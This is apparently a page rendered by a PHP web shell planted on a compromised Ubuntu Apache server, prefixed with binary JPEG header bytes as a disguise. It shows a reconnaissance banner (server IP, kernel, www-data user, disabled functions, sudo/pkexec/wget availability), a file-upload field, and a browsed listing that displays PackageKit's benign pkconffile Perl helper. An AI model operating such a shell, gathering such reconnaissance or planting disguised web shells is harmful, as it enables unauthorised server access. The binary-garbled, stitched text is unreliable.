����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.144.125.201 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/self/root/usr/share/PackageKit/helpers/aptcc/ |
Upload File : |
#!/usr/bin/perl use Debconf::Client::ConfModule ':all'; use Cwd 'abs_path'; use File::Temp qw/ tempfile tempdir /; use strict; my $template_fname; (undef, $template_fname) = tempfile('/tmp/pkconffileXXXXXX', SUFFIX => '.template'); # (1) quit unless we have the correct number of command-line args if ($#ARGV + 1 != 3) { print STDERR "Usage: ./pkconffile package original_conf new_conf\n"; exit; } ## Process template so we can add the diff at the end ## the abs_path will give us the full path where this script is so we can find the template open (TEMP_NODIFF, abs_path($0).'.nodiff') || die ("could not open the template"); open (TEMPLATE, ">$template_fname"); ## Adds the original template while (<TEMP_NODIFF>) { print TEMPLATE $_; } close (TEMP_NODIFF); ## get the original and new files my $package = $ARGV[0]; my $forig = $ARGV[1]; my $fnew = $ARGV[2]; ## Add the diff to the end of the TEMPLATE my @diff = `diff -u $forig $fnew`; foreach (@diff) { if ($_ =~ /^\$/) { print TEMPLATE " .\n"; } else { chomp; ## Add two spaces here so that the extended description ## receives the proper line breaks. print TEMPLATE " $_\n"; } } close (TEMPLATE); ## Force the template to be loaded again x_loadtemplatefile($template_fname); ## set the package name in the title subst("pkconffile/title", "package", $package); settitle("pkconffile/title"); my $state = 1; while (1) { if ($state == 1) { ## ask the user what to do with the conf file fset("pkconffile/what_to_do", "seen", "false"); subst("pkconffile/what_to_do", "forig", $forig); input("high", "pkconffile/what_to_do"); } else { ## the user whants to see the diff fset("pkconffile/diff", "seen", "false"); subst("pkconffile/diff", "forig", $forig); subst("pkconffile/diff", "fnew", $fnew); input("high", "pkconffile/diff"); } ## get the user answer if (go() == 0 && $state == 1) { my @ret = get("pkconffile/what_to_do"); if ($ret[1] =~ "Keep the currently installed version") { $state = 10; last; } elsif ($ret[1] =~ "Install the package maintainer's version") { $state = 20; last; } $state = 2; } else { $state = 1; } } unlink($template_fname); exit $state;